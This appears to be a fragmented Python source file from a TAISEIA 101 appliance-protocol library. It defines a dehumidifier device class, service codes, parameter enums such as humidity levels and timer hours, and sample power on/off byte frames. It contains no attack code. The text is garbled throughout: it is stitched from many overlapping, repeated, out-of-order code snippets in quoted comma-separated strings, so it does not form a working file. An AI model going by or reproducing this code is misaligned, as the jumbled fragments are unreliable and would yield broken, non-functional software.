HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a", "0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R", "if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls", "6 HR_8 = 8 HR_10 = 10 HR_12 = 12 @classmethod def text(cls,", "# SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass", "4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): #", "{'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW", "0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16", "# AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class", "ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 # RESERVED = 0x7f def __init__(self):", "HUMI_70 = 70 HUMI_75 = 75 @classmethod def text(cls, code): return '{} %'.format(code)", "0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW", "ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s:", "OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service):", "06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW", "class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER =", "0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4 = 4 HR_6", "DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01", "2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY = 6", "code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40", "DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW", "= 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class", "0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW", "pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__': FORMAT", "DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass", "REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service):", "0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11", "0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass", "# ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class", "QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): #", "OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R", "0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R", "= 1 HR_2 = 2 HR_4 = 4 HR_6 = 6 HR_8 =", "4 HR_6 = 6 HR_8 = 8 HR_10 = 10 HR_12 = 12", "KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService):", "# OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class", "0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject):", "ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService):", "= 8 HR_10 = 10 HR_12 = 12 @classmethod def text(cls, code): return", "pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R =", "pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R =", "0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN = 4", "DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass", "= 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): #", "DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__': FORMAT = '%(asctime)s", "ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 # RESERVED =", "'__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier #", "WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass class", "# HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50", "= 50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70 =", "0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00", "pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R =", "'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02", "75 @classmethod def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW =", "= 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 # RESERVED = 0x7f", "POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO =", "1 HR_2 = 2 HR_4 = 4 HR_6 = 6 HR_8 = 8", "OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R", "= 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW =", "= 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW =", "HR_10 = 10 HR_12 = 12 @classmethod def text(cls, code): return '{} hr'.format(code)", "0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW", "= 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02", "class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4 = 4 HR_6 =", "class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a", "DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e", "= 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 #", "HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService):", "WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW", "0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R", "= '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier # dev_cls.print_service_cls_template() dev_obj", "= 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass", "CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService):", "# KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class", "def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03", "<reponame>slee124565/pytwseia from taiseia101.core import * logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id':", "from taiseia101.core import * logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER,", "DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off:", "class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05", "0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d", "0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW", "# OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class", "pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R =", "HUMI_60 = 60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75 = 75 @classmethod", "class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13", "# ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class", "= 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): #", "0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d", "HR_6 = 6 HR_8 = 8 HR_10 = 10 HR_12 = 12 @classmethod", "self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status", "pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW =", "def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\"", "= 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): #", "0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14", "# DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass", "DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass", "* logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class", "ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50", "= 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service):", "ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03", "= 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass", "DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService):", "pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL", "= 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET =", "DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW", "AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY = 7 class", "DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass", "DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass", "= 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW =", "= 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2", "= 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): #", "= 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R =", "SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW", "= 4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service):", "SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service):", "'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW", "0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00", "OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R", "OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService):", "class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 =", "# ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if", "= 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW =", "# DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class", "= 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService):", "0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05", "RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__", "ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R =", "class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED =", "= 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R =", "= 0x22 # ENG_MODE = 0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier,", "= 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL =", "# HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class", "0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R", "DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass", "SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW", "3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY = 7", "= 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R = 0x19 pass class DeviceOpVoltageRService(DeviceUint16Service): #", "pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW =", "= 10 HR_12 = 12 @classmethod def text(cls, code): return '{} hr'.format(code) class", "0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55", "Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW", "= 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1", "DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service):", "= 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0", "# ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s]", "HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R", "= 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW =", "self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02", "class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f", "CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW", "= 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject):", "= 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): #", "class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15", "ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service):", "HUMI_45 = 45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65", "class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06", "0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass #", "ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55 = 55", "HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW", "# OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class", "0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW", "pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R =", "= 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R =", "0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21", "code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService):", "0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R", "= 60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75 = 75 @classmethod def", "= 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__ ==", "0x1f pass class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R", "class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17", "0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER", "DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass class", "ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW =", "0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19", "DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW =", "HUMI_50 = 50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70", "= 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class", "50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70 = 70", "40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60 = 60", "0x22 pass if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG,", "= 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): #", "HUMI_55 = 55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75", "pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW =", "0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass if __name__ == '__main__':", "AIR_CLEAN_MODE_RW = 0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service):", "class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class", "class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R", "= 55 HUMI_60 = 60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75 =", "DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass", "class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d pass class 